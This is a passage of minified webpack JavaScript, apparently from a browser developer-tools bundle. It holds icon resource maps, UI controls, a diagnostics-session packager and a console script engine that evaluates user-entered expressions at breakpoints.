ave.png",background_color:"plugin-background-color"},"f12-image-toolbar-start":{bitmap_source:"..\\common\\perftools\\images\\i_start.png",background_color:"plugin-background-color"},"f12-image-toolbar-stop":{bitmap_source:"..\\common\\perftools\\images\\i_stop.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"..\\common\\images\\itemExpandedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"..\\common\\images\\itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-graph-user-mark":{bitmap_source:"..\\common\\perftools\\images\\i_usermark.png",background_color:"plugin-background-color"},"vs-image-graph-app-event":{bitmap_source:"..\\common\\perftools\\images\\i_appevent.png",background_color:"plugin-background-color"},"vs-image-graph-aggregated-event":{bitmap_source:"..\\common\\perftools\\images\\CustomMark5_18x.png",background_color:"plugin-background-color"},"image-checkered-background":{bitmap_source:"..\\common\\perftools\\images\\i_checkered_background.png",background_color:"plugin-background-color"},"image-checkmark":{bitmap_source:"..\\common\\images\\checkmark.png",background_color:"plugin-memory-drop-down-button"},"image-filtering":{bitmap_source:"..\\common\\images\\i_filtering_options.png",background_color:"plugin-background-color"},"image-frame-grouping":{bitmap_source:"..\\visualprofiler\\images\\i_frame_grouping.png",background_color:"plugin-background-color"},"plugin-common-image-find-next":{bitmap_source:"..\\common\\images\\i_next.png",background_color:"plugin-searchcontrol-mouseover-background-background-color"},"plugin-common-image-find-previous":{bitmap_source:"..\\common\\images\\i_previous.png",background_color:"plugin-searchcontrol-mouseover-background-background-color"}}},file_aliases:{PerformanceTraceExtension:{path:"HtmlTools\\PerformanceTrace.dll",optional:!0},"DiagnosticsHub.DataWarehouseHost":{}}};n.d(t,"a",function(){return f});n.d(t,"b",function(){return v});const g=new Map;g.set(c.c.console,o);g.set(c.c.debugger,i);g.set(c.c.dom,r);g.set(c.c.elements,a);g.set(c.c.emulation,s);g.set(c.c.header,l);g.set(c.c.memoryAnalyzer,u);g.set(c.c.network,d);g.set(c.c.visualProfiler,m);g.set(c.c.storage,p);g.set(c.c.serviceworker,h);function f(e){return g.get(e)}const _=new Map;_.set("console",c.c.console);_.set("debugger",c.c.debugger);_.set("dom",c.c.dom);_.set("elements",c.c.elements);_.set("emulation",c.c.emulation);_.set("header",c.c.header);_.set("memoryAnalyzer",c.c.memoryAnalyzer);_.set("network",c.c.network);_.set("visualProfiler",c.c.visualProfiler);_.set("storage",c.c.storage);_.set("serviceworker",c.c.serviceworker);function v(e){const t=_.get(e);if(t)return f(t)}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(e,t,n,r,i,a,s,l=0,c,u){this._id=o.IdCounter++;this._name=i;this._value=e;this._hasChildren=t;this._hasIcon=n;this._hasSeparator=r;this._additionalClass=a;this._htmlLines=s;this._buttonItems=null;this._notifyType=l;this._htmlLinesFileLine=c;this._iconTooltip=u}get id(){return""+this._id}get target(){return this._target}set target(e){this._target=e}get isStale(){return this._isStale}set isStale(e){if(!this._isStale){this._isStale=e;if(this._isStale){var t;switch(this._notifyType){case 2:t=" consoleItemErrorStale";break;case 3:t=" consoleItemInfoStale";break;case 5:t=" consoleItemWarnStale"}this._additionalClass+=t}}}get iconTooltip(){return this._iconTooltip}get name(){return this._name}get notifyType(){return this._notifyType}get value(){return this._value}set value(e){this._value=e}get hasChildren(){return this._hasChildren}set hasChildren(e){this._hasChildren=e}get hasIcon(){return this._hasIcon}get buttonItems(){return this._buttonItems}set buttonItems(e){this._buttonItems=e}get hasSeparator(){return this._hasSeparator}get additionalClass(){return this._additionalClass}set additionalClass(e){this._additionalClass=e}get htmlLines(){return this._htmlLines}set htmlLines(e){if(this._htmlLines&&this._htmlLines.length!==e.length)throw new Error("The number of lines cannot be changed for a TreeView item after initialization");this._htmlLines=e}get htmlLinesFileLine(){return this._htmlLinesFileLine}set htmlLinesFileLine(e){this._htmlLinesFileLine=e}get consoleItemId(){return this._id}getCopyText(e=""){return e+this._value}setButtonCheckState(e,t){this._buttonItems&&this._buttonItems.length>e&&(this._buttonItems[e].isChecked=t)}}o.IdCounter=-1;o.TextCopyIndent="   "},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n(90);class o{setStatusBarText(e,t){return Promise.resolve()}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(0);class r{constructor(e){this._proxy=e;if(!this._proxy)throw new Error(Object(o.a)("JSPerf.1074"))}async openPackage(e){try{if(!this._proxy.openPackageAsync)return this._proxy.openPackage(e);await this._proxy.openPackageAsync(e)}catch(e){console&&console.log("failed openPackage call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}}createPackage(e,t){t||(t=this.generateRandomName()+r.DIAGSESSION_EXTENSION);try{this._proxy.createPackage(e,t)}catch(e){console&&console.log("failed createPackage call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}return t}hasToolData(e){try{return this._proxy.hasToolData(e)}catch(e){console&&console.log("failed hadToolData call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}}addResource(e,t,n){try{this._proxy.addResourceToPackage(e,t,n)}catch(e){console&&console.log("failed addResource call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}}getResourcePathsByType(e){try{return this._proxy.getResourcePathsByType(e)}catch(e){console&&console.log("failed getResourcePathsByType call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}}commit(){try{this._proxy.commitPackage()}catch(e){console&&console.log("failed commit call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}}closePackage(){try{this._proxy.closePackage()}catch(e){console&&console.log("failed closePackage call on packager. Message: "+e.message);throw new Error(Object(o.a)("JSPerf.1077"))}}generateRandomName(){return Math.random().toString(36).substring(2)}}r.DIAGSESSION_EXTENSION=".diagsession"},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(1),r=n(44);function i(e,t){let n;switch(e){case"text/html":case"text/xml":n=o.createElement(r.g,{style:t});break;case"text/css":case"text/less":case"text/scss":n=o.createElement(r.a,{style:t});break;case"text/typescript":n=o.createElement(r.m,{style:t});break;case"text/javascript":default:n=o.createElement(r.i,{style:t})}return n}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(1),r=n(24);class i extends o.PureComponent{render(){return o.createElement(r.a,Object.assign({viewBox:"0 0 32 32"},this.props),o.createElement("path",{d:"m9 15h4l2 3.0603 2-0.06027 2-3h4v10h-14z"}),o.createElement("circle",{cx:"16",cy:"9.5",r:"4.5"}),o.createElement("path",{d:"m5 1-1 1v11l-3 3 3 3v11l1 1h5v-2h-4v-11l-2-2 2-2v-11h4v-2z"}),o.createElement("path",{d:"m27 1 1 1v11l3 3-3 3v11l-1 1h-5v-2h4v-11l2-2-2-2v-11h-4v-2z"}))}}},,function(e,t,n){"use strict";n.d(t,"a",function(){return r});n.d(t,"b",function(){return i});const o=new Map;function r(e){return o.get(e)}function i(e,t){o.set(e,t)}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});function o(e,t){let n=null;if(t){const o=`(#|@) *${e} *= *(.*?)\\s*`,r=new RegExp(`^\\s*(//${o}$|/\\*${o}\\*/)`,"img");let i=r.exec(t);for(;i;){n=i[3]||i[5];i=r.exec(t)}}return n}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(47);class r extends o.a{constructor(){super()}get content(){return this._content}set content(e){if(this._content!==e){this._content&&this.removeChild(this._content);this._content=e;this.appendChild(this._content);this.onContentChanged()}}appendChild(e){if(0!==this.rootElement.children.length)throw new Error("Only one child is allowed in a content control.");super.appendChild(e)}onContentChanged(){}}},function(e,t,n){"use strict";n.d(t,"a",function(){return s});var o=n(25),r=n(12),i=n(11),a=n(0);function s(e,t){return new l(e,t)}class l{constructor(e,t){this._element=e;this._onModifyCallback=t;this._element.addEventListener("contextmenu",e=>this.handleContextMenu(e));this._element instanceof HTMLInputElement&&this._element.addEventListener("keyup",e=>this.handleKeyUp(e))}get isActive(){return this._isActive}show(e,t){var n=e,o=t;if(this._element instanceof HTMLInputElement&&(n<=0||o<=0)){var s=r.a.getSelection(this._element),l=r.a.getCharScreenPosition(this._element,s.end);n=l.left;o=l.top}var c=[];this._element instanceof HTMLInputElement&&c.push({id:"menuInputBoxCut",type:i.MenuItemType.command,label:Object(a.b)("/Common/CutMenuText"),accessKey:Object(a.b)("/Common/AccessKeyCtrlX")});c.push({id:"menuInputBoxCopy",type:i.MenuItemType.command,label:Object(a.b)("/Common/CopyMenuText"),accessKey:Object(a.b)("/Common/AccessKeyCtrlC")});this._element instanceof HTMLInputElement&&c.push({id:"menuInputBoxPaste",type:i.MenuItemType.command,label:Object(a.b)("/Common/PasteMenuText"),accessKey:Object(a.b)("/Common/AccessKeyCtrlV")});var u=(e,t)=>{this.invokeContextMenu(e,t)},d=i.create(c,void 0,void 0,void 0,u);d.attach(this._element);this._isActive=!0;d.show(n,o);d.addEventListener("dismiss",()=>{d.dispose();this._isActive=!1})}invokeContextMenu(e,t){switch(t.id){case"menuInputBoxCut":this.onCut();break;case"menuInputBoxPaste":this.onPaste();break;case"menuInputBoxCopy":this.onCopy()}}onCut(){var e=r.a.getSelection(this._element),t=this.getSelectedText(),n=this._element;n.value=n.value.substring(0,e.start)+n.value.substring(e.end);this._onModifyCallback&&this._onModifyCallback();this._element.focus();n.setSelectionRange(e.start,e.start);Object(o.copyPlainText)(t)}onCopy(){const e=this.getSelectedText();Object(o.copyPlainText)(e);this._element.focus()}async onPaste(){const e=await Object(o.getPasteTextAsync)();var t=r.a.getSelection(this._element),n=this._element;n.value=r.a.replaceTextInRange(n.value,t.start,t.end,e);this._onModifyCallback&&this._onModifyCallback();n.focus();var i=t.start+e.length;setImmediate(()=>n.setSelectionRange(i,i))}getSelectedText(){var e;if(this._element instanceof HTMLInputElement){var t=r.a.getSelection(this._element),n=this._element;e=n.value.substring(t.start,t.end)||n.value}else{var o=window.getSelection();if(1===o.rangeCount){var i=o.getRangeAt(0);i.startContainer.parentNode===this._element&&i.endContainer.parentNode===this._element&&(e=i.toString())}e||(e=this._element.textContent||"")}return e}handleContextMenu(e){this.show(e.clientX,e.clientY);e.stopImmediatePropagation();e.preventDefault();return!1}handleKeyUp(e){if(121===e.keyCode&&e.shiftKey&&!e.ctrlKey&&!e.altKey){this.show(0,0);e.stopImmediatePropagation();e.preventDefault()}}}},function(e,t,n){"use strict";n.d(t,"a",function(){return s});var o=n(19),r=n(8),i=n(18),a=n(4);class s extends o.a{constructor(e){super(e||"Common.defaultTextBoxTemplate")}get focusableElement(){return this.rootElement}static initialize(){r.a.defineProperty(s,s.PlaceholderPropertyName,"");r.a.defineProperty(s,s.ReadonlyPropertyName,!1,e=>e.onReadonlyChanged());r.a.defineProperty(s,s.TextPropertyName,"",e=>e.onTextChangedOverride())}onInitializeOverride(){super.onInitializeOverride();this._keyboardHandler=(e=>this.onKeyboardEvent(e))}onApplyTemplate(){super.onApplyTemplate();this._inputRootElement=this.getNamedElement(s.InputElementName)||this.rootElement;a.a.isTrue(!!this._inputRootElement,"Expecting a root element for the input element in TextBox.");this._textBinding=this.getBinding(this._inputRootElement,"value");this._inputRootElement.addEventListener("keydown",this._keyboardHandler);this._inputRootElement.addEventListener("keypress",this._keyboardHandler);this._inputRootElement.addEventListener("input",this._keyboardHandler)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.isEnabled?this.rootElement.removeAttribute("disabled"):this.rootElement.setAttribute("disabled","disabled")}onTextChangedOverride(){}onTemplateChanging(){super.onTemplateChanging();if(this._inputRootElement){this._inputRootElement.removeEventListener("keypress",this._keyboardHandler);this._inputRootElement.removeEventListener("keydown",this._keyboardHandler);this._inputRootElement.removeEventListener("input",this._keyboardHandler)}}onKeyboardEvent(e){if(this.isEnabled)switch(e.type){case"keydown":e.key===i.h.ENTER&&this._textBinding&&this._textBinding.updateSourceFromDest();break;case"keypress":if(this.clearOnEscape&&27===e.keyCode){this._inputRootElement.value="";this._textBinding&&this._textBinding.updateSourceFromDest();e.stopImmediatePropagation();e.preventDefault()}break;case"input":this.updateOnInput&&this._textBinding&&this._textBinding.updateSourceFromDest();break;default:a.a.fail("Unexpected")}}onReadonlyChanged(){this._inputRootElement&&(this._inputRootElement.readOnly=this.readonly)}}s.PlaceholderPropertyName="placeholder";s.ReadonlyPropertyName="readonly";s.TextPropertyName="text";s.InputElementName="_textBoxRoot";s.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(e){this._sizeLimit=e;this.resetPool()}get sizeLimit(){return this._sizeLimit}getControl(e,t){var n=this.getControlBucket(e,!0);return n.length>0?n.pop():t?t():null}recycleControl(e,t){var n=this.getControlBucket(e,!0);null!==this._sizeLimit&&void 0!==this._sizeLimit&&n.length>=this._sizeLimit||n.push(t)}clear(e){e?this._pool.delete(e):this.resetPool()}getControlBucket(e,t){var n=this._pool.get(e);if(!n&&t){n=[];this._pool.set(e,n)}return n}resetPool(){this._pool=new Map}}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(0);function r(e){const t=e.replace(/\//g,"_")+"_";return new Proxy({},{get(e,n){const r=t+n;return Object(o.b)(r)}})}function i(){const e=new Proxy({},{get:(e,t)=>r(t)});window.define("vs/base/common/worker/workerServer.nls",e);window.define("vs/languages/html/common/htmlWorker.nls",e);window.define("vs/base/common/worker/simpleWorker.nls",e);window.define("vs/editor/editor.main.nls",e)}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});n.d(t,"b",function(){return i});var o=n(10);function r(e){Object(o.g)().call("ms:header","consoleErrorsUpdated",[e])}function i(e,t){Object(o.g)().call("ms:header","emulationStateUpdated",[e,t])}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});const o=/\{{2}|\{(\d+)\}|\}{2}|\{|\}/g;function r(e,t){return e.replace(o,(e,n)=>{let o;switch(e){case"{{":o="{";break;case"}}":o="}";break;case"{":case"}":throw new Error("Cannot have unescaped braces");default:const r=parseInt(n,10);if(!(t&&t.length-1>=r))throw new Error("Malformed resource string");o=t[r]}void 0!==o&&null!==o||(o="");"string"!=typeof o&&(o=o.toString());return o})}},function(e,t,n){"use strict";var o=function(e,t,n,o,r,i,a,s){0;if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,o,r,i,a,s],u=0;(l=new Error(t.replace(/%s/g,function(){return c[u++]}))).name="Invariant Violation"}l.framesToPop=1;throw l}};e.exports=o},function(e,t,n){"use strict";(function(e,o){var r,i=n(195);if("undefined"!=typeof self)r=self;else if("undefined"!=typeof window)r=window;else if(void 0!==e)r=e;else{r=o}var a=Object(i.a)(r);t.a=a}).call(this,n(185),n(223)(e))},function(e,t,n){"use strict";var o=n(237),r="object"==typeof self&&self&&self.Object===Object&&self,i=(o.a||r||Function("return this")()).Symbol,a=Object.prototype,s=a.hasOwnProperty,l=a.toString,c=i?i.toStringTag:void 0;function u(e){var t=s.call(e,c),n=e[c];try{e[c]=void 0;var o=!0}catch(e){}var r=l.call(e);o&&(t?e[c]=n:delete e[c]);return r}var d=u,h=Object.prototype.toString;function p(e){return h.call(e)}var m=p,g="[object Null]",f="[object Undefined]",_=i?i.toStringTag:void 0;function v(e){return null==e?void 0===e?f:g:_&&_ in Object(e)?d(e):m(e)}var b=v;function C(e,t){return function(n){return e(t(n))}}var y=C(Object.getPrototypeOf,Object);function E(e){return null!=e&&"object"==typeof e}var S=E,T="[object Object]",w=Function.prototype,k=Object.prototype,x=w.toString,I=k.hasOwnProperty,O=x.call(Object);function L(e){if(!S(e)||b(e)!=T)return!1;var t=y(e);if(null===t)return!0;var n=I.call(t,"constructor")&&t.constructor;return"function"==typeof n&&n instanceof n&&x.call(n)==O}t.a=L},function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(103),r=n(54),i=n(4);class a{static waitForCondition(e,t=a.POLLING_TIMEOUT,n=a.POLLING_INTERVAL,r=""){i.a.hasValue(e,"Condition evaluator must have a value");i.a.isTrue(t>n,"Timeout must be greater than polling interval");var s=Math.floor(t/n),l=0;return new Promise((t,i)=>{var a=window.setInterval(()=>{if(l>=s){o.a("Polling action: "+r+" timed out");clearInterval(a);i(new Error("Timeout: "+r))}l++;var n=e();if(!("boolean"==typeof n&&!n)&&null!==n&&void 0!==n){clearInterval(a);t(n)}},n)})}static tryWaitForEventOnAction(e,t,n,o,r){return a.tryWaitForEventOnActionWithCondition(e,()=>!0,t,n,o,r)}static tryWaitForEventOnActionWithCondition(e,t,n,o,r=a.POLLING_TIMEOUT,i){return a.eventWait(e,t,n,o,r,!1,i)}static waitForEventOnActionWithCondition(e,t,n,o,r,i){return a.eventWait(e,t,n,o,r,!0,i)}static tryWaitForEvent(e,t,n,o){return a.tryWaitForEventOnAction(()=>{},e,t,n,o)}static eventWait(e,t,n,s,l=a.POLLING_TIMEOUT,c=!0,u){var d=null,h=e=>{if(t(e)){n.removeEventListener(s,h);d(e)}},p=new Promise(t=>{d=t;n.addEventListener(s,h);e()}),m=e=>e,g=r=>{n.removeEventListener(s,h);if("Canceled"!==r.message)throw r;var d=a.getTimedOutMessage(e,t,l,null,u);c?i.a.fail(d):o.a(d)};let f=r.a.timeout(l);return Promise.race([f,p]).then(m,g)}static getTimedOutMessage(e,t,n,o,r){return r?o?"Timed out waiting for "+r+" after "+n+" ms with polling interval "+o+" ms":"Timed out waiting for "+r+" after "+n+" ms":o?"action: '"+e+"' took longer than timeout '"+n+"' with polling interval '"+o+"', checking with '"+t+"'":"action: '"+e+"' took longer than timeout '"+n+"', checking with '"+t+"'"}}a.POLLING_TIMEOUT=1e4;a.POLLING_INTERVAL=250},function(e,t,n){"use strict";var o=n(145);e.exports=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.processStyleName=void 0;t.createMarkupForStyles=l;a(n(220));var o=a(n(218)),r=a(n(216)),i=a(n(214));a(n(181));function a(e){return e&&e.__esModule?e:{default:e}}var s=t.processStyleName=(0,i.default)(r.default);function l(e,t){var n="";for(var r in e){var i=0===r.indexOf("--");if(e.hasOwnProperty(r)){var a=e[r];0;if(null!=a)if(i)n+=r+":"+a+";";else{n+=s(r)+":";n+=(0,o.default)(r,a,t)+";"}}}return n||null}},function(e,t){},function(e,t,n){"use strict";n(183)},function(e,t){var n;n=function(){return this}();try{n=n||Function("return this")()||(0,eval)("this")}catch(e){"object"==typeof window&&(n=window)}e.exports=n},function(e,t,n){"use strict";var o={};0;e.exports=o},function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(5),r=n(56),i=n(40);class a{constructor(){this.onbreak=(()=>{this._breakpointLocals=[];this.atBreakpoint=!0;this.atBreakpointInWorker=r.c()});this.onrun=(()=>{this._breakpointLocals=[];this.atBreakpoint=!1;this.atBreakpointInWorker=!1});o.b.addEventListener("break",this.onbreak);o.b.addEventListener("run",this.onrun);o.b.addEventListener("activeframechanged",()=>{this._breakpointLocals=[]});this.reset()}getBreakpointLocals(){return this._breakpointLocals&&this._breakpointLocals.length?Promise.resolve(this._breakpointLocals):i.f().then(e=>{this._breakpointLocals=e;return e})}getCurrentCallFrameId(){return this.atBreakpoint?i.e():Promise.resolve("")}reset(){this._breakpointLocals=[];this.atBreakpoint=r.b();this.atBreakpointInWorker=r.c()}}},function(module,__webpack_exports__,__webpack_require__){"use strict";__webpack_require__.d(__webpack_exports__,"a",function(){return ScriptEngine});var _common_external_apis__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__(5),_common_featureAvailability__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__(22),_host_interfaces__WEBPACK_IMPORTED_MODULE_2__=__webpack_require__(6),_host_service_debugger__WEBPACK_IMPORTED_MODULE_3__=__webpack_require__(40),_host_service_host__WEBPACK_IMPORTED_MODULE_4__=__webpack_require__(27),_breakpointState__WEBPACK_IMPORTED_MODULE_5__=__webpack_require__(187);let nextTargetId=0;function getNextTargetId(){return""+nextTargetId++}const VALID_JAVASCRIPT_VARIABLE_LETTERS="$0-9A-Z_a-zªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮ̀-ʹͶ-ͷͺ-ͽΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁ҃-҇Ҋ-ԧԱ-Ֆՙա-և֑-ֽֿׁ-ׂׄ-ׇׅא-תװ-ײؐ-ؚؠ-٩ٮ-ۓە-ۜ۟-۪ۨ-ۼۿܐ-݊ݍ-ޱ߀-ߵߺࠀ-࠭ࡀ-࡛ࢠࢢ-ࢬࣤ-ࣾऀ-ॣ०-९ॱ-ॷॹ-ॿঁ-ঃঅ-ঌএ-ঐও-নপ-রলশ-হ়-ৄে-ৈো-ৎৗড়-ঢ়য়-ৣ০-ৱਁ-ਃਅ-ਊਏ-ਐਓ-ਨਪ-ਰਲ-ਲ਼ਵ-ਸ਼ਸ-ਹ਼ਾ-ੂੇ-ੈੋ-੍ੑਖ਼-ੜਫ਼੦-ੵઁ-ઃઅ-ઍએ-ઑઓ-નપ-રલ-ળવ-હ઼-ૅે-ૉો-્ૐૠ-ૣ૦-૯ଁ-ଃଅ-ଌଏ-ଐଓ-ନପ-ରଲ-ଳଵ-ହ଼-ୄେ-ୈୋ-୍ୖ-ୗଡ଼-ଢ଼ୟ-ୣ୦-୯ୱஂ-ஃஅ-ஊஎ-ஐஒ-கங-சஜஞ-டண-தந-பம-ஹா-ூெ-ைொ-்ௐௗ௦-௯ఁ-ఃఅ-ఌఎ-ఐఒ-నప-ళవ-హఽ-ౄె-ైొ-్ౕ-ౖౘ-ౙౠ-ౣ౦-౯ಂ-ಃಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹ಼-ೄೆ-ೈೊ-್ೕ-ೖೞೠ-ೣ೦-೯ೱ-ೲം-ഃഅ-ഌഎ-ഐഒ-ഺഽ-ൄെ-ൈൊ-ൎൗൠ-ൣ൦-൯ൺ-ൿං-ඃඅ-ඖක-නඳ-රලව-ෆ්ා-ුූෘ-ෟෲ-ෳก-ฺเ-๎๐-๙ກ-ຂຄງ-ຈຊຍດ-ທນ-ຟມ-ຣລວສ-ຫອ-ູົ-ຽເ-ໄໆ່-ໍ໐-໙ໜ-ໟༀ༘-༙༠-༩༹༵༷༾-ཇཉ-ཬཱ-྄྆-ྗྙ-ྼ࿆က-၉ၐ-ႝႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚ፝-፟ᎀ-ᎏᎠ-Ᏼᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛮ-ᛰᜀ-ᜌᜎ-᜔ᜠ-᜴ᝀ-ᝓᝠ-ᝬᝮ-ᝰᝲ-ᝳក-៓ៗៜ-៝០-៩᠋-᠍᠐-᠙ᠠ-ᡷᢀ-ᢪᢰ-ᣵᤀ-ᤜᤠ-ᤫᤰ-᤻᥆-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉ᧐-᧙ᨀ-ᨛᨠ-ᩞ᩠-᩿᩼-᪉᪐-᪙ᪧᬀ-ᭋ᭐-᭙᭫-᭳ᮀ-᯳ᰀ-᰷᱀-᱉ᱍ-ᱽ᳐-᳔᳒-ᳶᴀ-ᷦ᷼-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼ‌-‍‿-⁀⁔ⁱⁿₐ-ₜ⃐-⃥⃜⃡-⃰ℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎⅠ-ↈⰀ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯ⵿-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞⷠ-ⷿⸯ々-〇〡-〯〱-〵〸-〼ぁ-ゖ゙-゚ゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎㆠ-ㆺㇰ-ㇿ㐀-䶵一-鿌ꀀ-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘫꙀ-꙯ꙴ-꙽ꙿ-ꚗꚟ-꛱ꜗ-ꜟꜢ-ꞈꞋ-ꞎꞐ-ꞓꞠ-Ɦꟸ-ꠧꡀ-ꡳꢀ-꣄꣐-꣙꣠-ꣷꣻ꤀-꤭ꤰ-꥓ꥠ-ꥼꦀ-꧀ꧏ-꧙ꨀ-ꨶꩀ-ꩍ꩐-꩙ꩠ-ꩶꩺ-ꩻꪀ-ꫂꫛ-ꫝꫠ-ꫯꫲ-꫶ꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꯀ-ꯪ꯬-꯭꯰-꯹가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ff-stﬓ-ﬗיִ-ﬨשׁ-זּטּ-לּמּנּ-סּףּ-פּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻ︀-️︠-︦︳-︴﹍-﹏ﹰ-ﹴﹶ-ﻼ0-9A-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ",JAVASCRIPT_VALID_JS_VARIABLENAME_REGEX=new RegExp("^["+VALID_JAVASCRIPT_VARIABLE_LETTERS+"]+$");class ScriptEngine{constructor(e){this._callbacks={};this.rpcClient=e;this.breakpointState=new _breakpointState__WEBPACK_IMPORTED_MODULE_5__.a}static workerBreakpointInvokerString(){const workerBreakpointInvokerFunction=function(id_SUBSTITUTION_MARKER,command_SUBSTITUTION_MARKER,__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC){try{const result=eval(command_SUBSTITUTION_MARKER);__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC.INVOKER={returnValue:{isError:!1,result:result}}}catch(e){__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC.INVOKER={returnValue:{isError:!0,result:e}}}__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC(id_SUBSTITUTION_MARKER,__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC.INVOKER.returnValue)};return workerBreakpointInvokerFunction.toString()}static breakpointInvokerString(){const breakpointInvokerFunction=function(window,id_SUBSTITUTION_MARKER,command_SUBSTITUTION_MARKER){const resultObj={result:void 0,isError:!1};try{resultObj.result=eval(command_SUBSTITUTION_MARKER)}catch(e){resultObj.result=e;resultObj.isError=!0}window.__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC(id_SUBSTITUTION_MARKER,resultObj)};return breakpointInvokerFunction.toString()}static defaultInvoker(e,t,n){let o;const r=JSON.stringify(t).slice(1,-1);return o=(o=(o=(o=n?ScriptEngine.workerBreakpointInvokerString():ScriptEngine.breakpointInvokerString()).substring(o.indexOf("{")+1,o.lastIndexOf("}"))).split("id_SUBSTITUTION_MARKER").join('"'+e+'"')).split("command_SUBSTITUTION_MARKER").join('"'+r+'"')}static intellisenseInvoker(e,t){const n=JSON.parse(t);return`__BROWSERTOOLS_CONSOLE.performBreakmodeIntellisense("${e}", "${n.searchExpression}", window, ${n.searchContext}, ${JSON.stringify(n.locals)})`}start(){this.breakpointState.reset();this._callbacks={};_common_external_apis__WEBPACK_IMPORTED_MODULE_0__.b.addEventListener("attach",()=>this.onAttach());_common_external_apis__WEBPACK_IMPORTED_MODULE_0__.b.isAttached&&this.onAttach()}methodCall(e,t){return Object(_common_featureAvailability__WEBPACK_IMPORTED_MODULE_1__.isEdpEnabled)()?_host_service_host__WEBPACK_IMPORTED_MODULE_4__.callEdp(e,t):_host_service_host__WEBPACK_IMPORTED_MODULE_4__.callRemote(ScriptEngine.PORT_NAME,e,t)}processInput(e,t){this.breakpointState.atBreakpoint?this.executeBreakModeCommand("processInput",e,e=>{t(e);this.rpcClient.broadcast("consoleOutput",{})}):this.methodCall("processInput",[e]).then(e=>{if(e&&!e.suppressPostObject){t(e);this.rpcClient.broadcast("consoleOutput",{})}})}executeBreakModeCommand(e,t,n,o){const r=getNextTargetId();this._callbacks[r]=n;const i=(o||ScriptEngine.defaultInvoker)(`${e}:${r}`,t,this.breakpointState.atBreakpointInWorker);setTimeout(()=>{this.breakpointState.atBreakpoint&&_host_service_debugger__WEBPACK_IMPORTED_MODULE_3__.c(i)},0)}processMessage(e){this._callbacks[e.uid].apply(this,e.args);this._callbacks[e.uid]&&delete this._callbacks[e.uid]}getIntellisenseChoices(e,t){if(!this.breakpointState.atBreakpointInWorker){const n=e=>{let n=[];e&&e.choices&&(n=e.choices.map(e=>e.name).filter(e=>e.match(JAVASCRIPT_VALID_JS_VARIABLENAME_REGEX)&&0!==e.indexOf("__BROWSERTOOLS")));t(n)};this.breakpointState.atBreakpoint?this.breakpointState.getBreakpointLocals().then(t=>{const 